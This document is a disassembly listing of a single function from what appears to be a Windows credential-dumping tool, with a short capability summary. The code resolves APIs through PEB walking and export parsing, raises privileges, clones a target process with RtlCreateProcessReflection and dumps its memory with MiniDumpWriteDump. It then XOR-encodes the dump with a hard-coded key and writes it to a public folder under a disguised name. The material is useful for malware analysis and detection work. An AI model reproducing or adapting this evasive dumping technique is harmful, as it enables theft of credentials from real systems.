Function at 0x140002050
Capabilities:
Access peb ldr_data
Encode data using xor
Resolve function by parsing pe exports
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x160]
sub rsp, 0x260
mov rax, qword [0x14003d020]
xor rax, rsp
mov qword [rbp + 0x150], rax
xor r15d, r15d
xor r12d, r12d
mov dword [rbp - 0x20], r12d
mov rdi, qword gs:[0x60]
mov rax, qword [rdi + 0x18]
mov rbx, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
xor r8d, r8d
xor eax, eax
movzx ecx, word [rbx + 0x58]
test rcx, 0xfffffffffffffffe
jbe 0x1400020fa
xor edx, edx
cmp rdx, 0xff
jae 0x1400020ee
mov rcx, qword [rbx + 0x60]
movzx edx, byte [rcx + rax*2]
mov byte [rbp + rax + 0x50], dl
inc r8d
inc rax
movsxd rdx, r8d
movzx ecx, word [rbx + 0x58]
shr rcx, 1
cmp rdx, rcx
jb 0x1400020c4
cmp rax, 0x100
jae 0x14000265f
mov byte [rbp + rax + 0x50], 0
lea rdx, str.ntdll.dll
lea rcx, [rbp + 0x50]
call fcn.14001247c
test eax, eax
jne 0x140002117
mov r12, qword [rbx + 0x30]
lea rdx, str.kernel32.dll
lea rcx, [rbp + 0x50]
call fcn.14001247c
test eax, eax
jne 0x14000212f
mov r15, qword [rbx + 0x30]
mov rbx, qword [rbx]
mov rax, qword [rdi + 0x18]
add rax, 0x10
cmp rbx, rax
jne 0x1400020b0
test r15, r15
je 0x14000262d
movsxd rax, dword [r15 + 0x3c]
mov ecx, dword [rax + r15 + 0x88]
add rcx, r15
mov r13d, dword [rcx + 0x1c]
add r13, r15
mov edi, dword [rcx + 0x20]
add rdi, r15
mov esi, dword [rcx + 0x24]
add rsi, r15
mov qword [rsp + 0x40], rsi
xor ebx, ebx
mov r14d, dword [rcx + 0x18]
test r14d, r14d
je 0x1400021aa
mov rsi, rdi
mov ecx, dword [rsi]
add rcx, r15
lea rdx, [0x140037080]
call fcn.14002a130
test eax, eax
je 0x140002394
inc ebx
add rsi, 4
cmp ebx, r14d
jb 0x140002181
mov rsi, qword [rsp + 0x40]
xor ebx, ebx
mov qword [rsp + 0x58], rbx
test r14d, r14d
je 0x1400021e4
nop word [rax + rax]
mov ecx, dword [rdi]
add rcx, r15
lea rdx, str.LoadLibraryA
call fcn.14002a130
test eax, eax
je 0x1400023b1
inc ebx
add rdi, 4
cmp ebx, r14d
jb 0x1400021c0
mov qword [rsp + 0x50], 0
movsxd rax, dword [r12 + 0x3c]
mov ecx, dword [rax + r12 + 0x88]
add rcx, r12
mov r15d, dword [rcx + 0x1c]
add r15, r12
mov qword [rsp + 0x60], r15
mov edi, dword [rcx + 0x20]
add rdi, r12
mov edx, dword [rcx + 0x24]
add rdx, r12
mov qword [rsp + 0x40], rdx
xor ebx, ebx
mov r14d, dword [rcx + 0x18]
test r14d, r14d
je 0x140002254
mov rsi, rdi
nop dword [rax + rax]
mov ecx, dword [rsi]
add rcx, r12
lea rdx, str.RtlAdjustPrivilege
call fcn.14002a130
test eax, eax
je 0x1400023c7
inc ebx
add rsi, 4
cmp ebx, r14d
jb 0x140002230
mov r13, r15
mov rsi, rdi
xor ebx, ebx
mov r15d, r14d
mov qword [rsp + 0x48], rbx
test r14d, r14d
je 0x140002294
nop dword [rax]
mov ecx, dword [rsi]
add rcx, r12
lea rdx, str.NtOpenProcess
call fcn.14002a130
test eax, eax
je 0x1400023ec
inc ebx
add rsi, 4
cmp ebx, r15d
jb 0x140002270
mov rsi, rdi
xor ebx, ebx
mov r15d, r14d
xor r13d, r13d
test r14d, r14d
je 0x1400022c4
mov ecx, dword [rsi]
add rcx, r12
lea rdx, str.NtCreateFile
call fcn.14002a130
test eax, eax
je 0x1400022c4
inc ebx
add rsi, 4
cmp ebx, r15d
jb 0x1400022a4
xor ebx, ebx
test r14d, r14d
je 0x1400022f4
nop dword [rax + rax]
mov ecx, dword [rdi]
add rcx, r12
lea rdx, str.RtlCreateProcessReflection
call fcn.14002a130
test eax, eax
je 0x14000240a
inc ebx
add rdi, 4
cmp ebx, r14d
jb 0x1400022d0
xor r12d, r12d
mov ebx, r12d
lea rcx, str.Dbghelp.dll
mov rdi, qword [rsp + 0x50]
call rdi
lea rdx, str.MiniDumpWriteDump
mov rcx, rax
call qword [rsp + 0x58]
mov r15, rax
lea rcx, str.ntdll.dll
call rdi
call fcn.140005ce0
mov r14d, eax
mov qword [rbp - 0x78], r14
mov qword [rbp - 0x70], r12
mov qword [rbp - 0x80], r12
xorps xmm0, xmm0
movups xmmword [rbp - 0x18], xmm0
movups xmmword [rbp - 8], xmm0
movups xmmword [rbp + 8], xmm0
xorps xmm1, xmm1
movups xmmword [rbp + 0x18], xmm1
movups xmmword [rbp + 0x28], xmm1
movups xmmword [rbp + 0x38], xmm1
lea r9, [rbp - 0x1c]
xor r8d, r8d
lea edx, [r8 + 1]
lea ecx, [rdx + 0x13]
call qword [rsp + 0x48]
lea r9, [rbp - 0x78]
lea r8, [rbp - 0x18]
mov edx, 0x1fffff
lea rcx, [rbp - 0x80]
call r13
test rbx, rbx
jne 0x140002426
lea rcx, str.Could_not_find_RtlCreateProcessReflection_in_ntdll.dll__n
call fcn.1400011c0
jmp 0x14000262d
mov rsi, qword [rsp + 0x40]
movzx ecx, word [rsi + rbx*2]
mov eax, dword [r13 + rcx*4]
add rax, r15
mov qword [rsp + 0x58], rax
xor ebx, ebx
jmp 0x1400021c0
movzx ecx, word [rsi + rbx*2]
mov edx, dword [r13 + rcx*4]
add rdx, r15
mov qword [rsp + 0x50], rdx
jmp 0x1400021ed
mov rdx, qword [rsp + 0x40]
movzx ecx, word [rdx + rbx*2]
mov ecx, dword [r15 + rcx*4]
add rcx, r12
mov qword [rsp + 0x48], rcx
mov r13, r15
mov rsi, rdi
xor ebx, ebx
mov r15d, r14d
jmp 0x140002270
mov rdx, qword [rsp + 0x40]
movzx ecx, word [rdx + rbx*2]
mov r13d, dword [r13 + rcx*4]
add r13, r12
mov rsi, rdi
xor ebx, ebx
mov r15d, r14d
jmp 0x1400022a4
mov rcx, qword [rsp + 0x40]
movzx ecx, word [rcx + rbx*2]
mov rax, qword [rsp + 0x60]
mov ebx, dword [rax + rcx*4]
add rbx, r12
xor r12d, r12d
jmp 0x1400022fa
xorps xmm0, xmm0
movups xmmword [rbp - 0x40], xmm0
movups xmmword [rbp - 0x30], xmm0
lea rax, [rbp - 0x40]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r12
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 2]
mov rcx, qword [rbp - 0x80]
call rbx
mov ebx, eax
mov edx, eax
lea rcx, str.er:_08X_n
call fcn.1400011c0
test ebx, ebx
jne 0x140002619
mov edi, dword [rbp - 0x30]
call fcn.140004c60
mov rcx, rax
mov edx, edi
call fcn.140002670
mov rbx, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
mov rcx, qword [rcx + rax + 0x40]
mov rcx, qword [rcx + 8]
mov qword [rsp + 0x70], rcx
mov rdx, qword [rcx]
call qword [rdx + reloc.OLEAUT32.dll_VariantClear]
nop
lea rcx, [rsp + 0x68]
call fcn.140004b20
mov r8, qword [rax]
mov dl, 0xa
mov rcx, rax
call qword [r8 + 0x40]
movzx esi, al
mov rcx, qword [rsp + 0x70]
test rcx, rcx
je 0x1400024d5
mov r8, qword [rcx]
call qword [r8 + 0x10]
test rax, rax
je 0x1400024d5
mov r8, qword [rax]
mov edx, 1
mov rcx, rax
call qword [r8]
movzx edx, sil
mov rcx, rbx
call fcn.140005a40
mov rcx, rbx
call fcn.140004780
mov qword [rbp - 0x68], rdi
mov qword [rbp - 0x60], r12
lea r9, [rbp - 0x68]
lea r8, [rbp + 0x18]
mov edx, 0x1fffff
lea rcx, [rbp - 0x48]
call r13
lea rax, [0x140001fe0]
mov qword [rbp - 0x58], rax
mov qword [rbp - 0x50], r12
lea rax, [rbp - 0x58]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], r12
mov r9d, 2
xor r8d, r8d
mov edx, r14d
mov rcx, qword [rbp - 0x80]
call r15
test eax, eax
je 0x14000260b
movsxd rcx, dword [0x14003f948]
call fcn.140008d08
mov rdi, rax
mov ebx, dword [0x14003f948]
mov r8d, ebx
mov rdx, qword [0x14003f958]
mov rcx, rax
call fcn.14000a8a0
test ebx, ebx
je 0x14000259a
mov rcx, rdi
mov rdx, r12
mov r8d, ebx
lea r9, str.wdjksjadjwui
nop dword [rax]
mov rax, rdx
and eax, 7
movzx eax, byte [rax + r9]
xor byte [rcx], al
inc rdx
lea rcx, [rcx + 1]
sub r8, 1
jne 0x140002580
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
xor r8d, r8d
mov edx, 0x10000000
lea rcx, str.C:UsersPublic_sdws.dmf
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
mov qword [rsp + 0x20], r12
lea r9, [rbp - 0x20]
mov r8d, dword [0x14003f948]
mov rdx, rdi
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x1400025f6
lea rcx, str._n__success_to_C:UsersPublic_sdws.dmf_n
call fcn.1400011c0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x14000262d
lea rcx, str.minidumperror_n
call fcn.1400011c0
jmp 0x14000262d
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.err:_d_n
call fcn.1400011c0
xor eax, eax
mov rcx, qword [rbp + 0x150]
xor rcx, rsp
call fcn.140008910
lea r11, [rsp + 0x260]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140008b38
int3